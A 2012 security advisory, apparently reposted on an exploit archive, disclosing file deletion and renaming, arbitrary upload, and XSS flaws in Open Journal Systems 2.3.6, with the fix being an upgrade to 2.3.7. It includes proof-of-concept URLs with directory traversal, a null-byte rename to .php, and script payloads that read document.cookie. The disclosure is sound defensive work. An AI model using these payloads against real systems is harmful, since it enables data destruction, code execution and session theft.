exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Open Journal Systems 2.3.6 XSS / File Manipulation / Shell Upload

Open Journal Systems 2.3.6 XSS / File Manipulation / Shell Upload
Posted Mar 22, 2012
Authored by High-Tech Bridge SA | Site htbridge.com

Open Journal Systems version 2.3.6 suffers from file manipulation, cross site scripting, and shell upload vulnerabilities.

tags | exploit, shell, vulnerability, xss
advisories | CVE-2012-1467, CVE-2012-1468, CVE-2012-1469
SHA-256 | 81bdaf7da25d1a403fe8d33e0db440a1dba968642a8af4e43f80678a574c7ac6

Open Journal Systems 2.3.6 XSS / File Manipulation / Shell Upload

Change Mirror Download
Advisory ID: HTB23079
Product: Open Journal Systems (OJS)
Vendor: Public Knowledge Project
Vulnerable Version(s): 2.3.6 and probably prior
Tested Version: 2.3.6
Vendor Notification: 29 February 2012
Vendor Patch: 16 March 2012
Public Disclosure: 21 March 2012
Vulnerability Type: Arbitrary File Manipulation, Arbitrary File Upload, XSS
CVE Reference(s): CVE-2012-1467, CVE-2012-1468, CVE-2012-1469
Solution Status: Fixed by Vendor
Risk Level: Critical
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.com/advisory/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Open Journal Systems which can be exploited to manipulate local files, upload arbitrary files and perform Cross-Site Scripting (XSS) attacks.

1) Arbitrary File Manipulation in Open Journal Systems: CVE-2012-1467

1.1 Arbitrary File Deletion
Input passed via the "param" parameter to "/lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/rfiles.php" is not properly validated before being used in unlink() function. This can be exploited to delete arbitrary files via directory traversal sequences.
The vulnerability exists in "iBrowser" software component that is a built-in part of OJS 2.3.6 by default.

The following PoC (Proof-of-Concept) code is available:


http://[host]/lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/rfiles.php?lang=en&param=delete|/../../../../../../../../../../../../../../../../../../../temp/file_to_delete



1.2 Arbitrary File Renaming
Input passed via the "param" parameter to "/lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/rfiles.php" is not properly validated before being used in rename() function.

This can be exploited to rename and assign an arbitrary extension to files on the vulnerable system via directory traversal sequences, that can lead to arbitrary PHP code execution (if permitted by server configuration).
The vulnerability exists in "iBrowser" software component that is a built-in part of OJS 2.3.6 by default.

This PoC will rename a previously uploaded ".jpg" file to ".php" file using the null-byte technique:


http://[host]/lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/rfiles.php?lang=en&param=rename|file.jpg|file.php%00.jpg


File upload is available by default to registered users. Registration is also enabled by default.

The second PoC will move "file_to_move" to "1x.jpg" in uploads directory via directory traversal technique:


http://[host]/lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/rfiles.php?lang=en&param=rename|/../../../../../../../../../../../../../../../../../../../tmp/file_to_move|1x.jpg



2) Arbitrary File Upload in Open Journal Systems: CVE-2012-1468

Open Journal Systems does not properly verify malicious file extensions before upload, which may lead to arbitrary file upload and further arbitrary PHP code execution (if permitted by server configuration). Upper-register file extensions are not filtered (e.g. ".pHp"), as well as some potentially malicious file extensions (e.g. ".asp", ".cgi", ".html").

The following PoC code demonstrates exploitation of the vulnerability:

Malicious registered user shall start a new Submission:
http://[host]/index.php/[journal]/author/submit/1
on the second step of the Submission:
http://[host]/index.php/[journal]/author/submit/2?articleId=14
the user should upload test.pHp, test.asp, test.cgi, test.php3 or test.html file. The uploaded file will be available on the following URL:
http://[host]/files/journals/[journalid]/articles/[articleid]/submission/original/[newfilename]
The original file name will be changed, however it will be displayed to the user after upload (for example "16-28-1-SM.pHp"). File extension will remain the same.

Successful exploitation of this vulnerability requires the attacker to be registered and have "Author Role". Registration is enabled by default. Registered user is allowed to assign "Author Role" to himself by default.
Upload directory should also be located inside of web root (by default).


3) Multiple XSS in Open Journal Systems: CVE-2012-1469

3.1 Input passed via the "editor" and "callback" parameters to "/lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/ibrowser.php" script is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in user's browser session in the context of the affected website.
The vulnerability exists in "iBrowser" software component that is a built-in part of OJS 2.3.6 by default.

The following PoC codes are available:


http://[host]/lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/ibrowser.php?editor=z&callback=x;};};alert%2834%29;{{&lang=en

http://[host]/lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/ibrowser.php?editor=%27%29;};};alert%2834%29;{{a=x%28%27&callback=iBrowser_callback&lang=en



3.2 Input passed via the "URL" parameter to "index.php" script is not properly sanitised before being stored in the application's database. This lead to stored XSS vulnerability.

The following PoC code demonstrates the vulnerability:

On the submissions page URL:
http://[host]/index.php/[journal]/author/submit/3?articleId=[id]
the attacker should add a malicious code to the "URL" field:
"><script>alert(document.cookie)</script>
the XSS will be displayed here:
http://[host]/index.php/[submission]/author/submission/[id]


3.3 Method "String::stripUnsafeHtml()" in "/lib/pkp/classes/core/String.inc.php" that is used to sanitise user-supplied input does not sanitise user input properly. This lead to numerous stored XSSs in scripts where this method is used.

The following PoC demonstrates vulnerability exploitation:

On the following URL:
http://[host]/index.php/[journal]/author/submit/3?articleId=[id]
the attacker should inject malicious scripting code to the "Bio Statement" or "Abstract of Submission" fields:
<img src="x"/onerror=alert(document.cookie)>
or (browser specific):
<img style="width:expression(alert(document.cookie));"></a>
The stored XSS will be displayed here:
http://[host]/index.php/[submission]/author/submission/[id]

Successful exploitation of the 3.2 and 3.3 vulnerabilities requires the attacker to be registered and have "Author Role". Registration is enabled by default. Registered user is allowed to assign "Author Role" to himself by default.

-----------------------------------------------------------------------------------------------

Solution:

Upgrade to OJS 2.3.7

More Information: http://pkp.sfu.ca/support/forum/viewtopic.php?f=2&t=8431

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23079 - https://www.htbridge.ch/advisory/HTB23079 - Multiple vulnerabilities in Open Journal Systems (OJS).
[2] Open Journal Systems - http://pkp.sfu.ca/?q=ojs - Open Journal Systems (OJS) is a journal management and publishing system that has been developed by the Public Knowledge Project through its federally funded efforts to expand and improve access to research.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close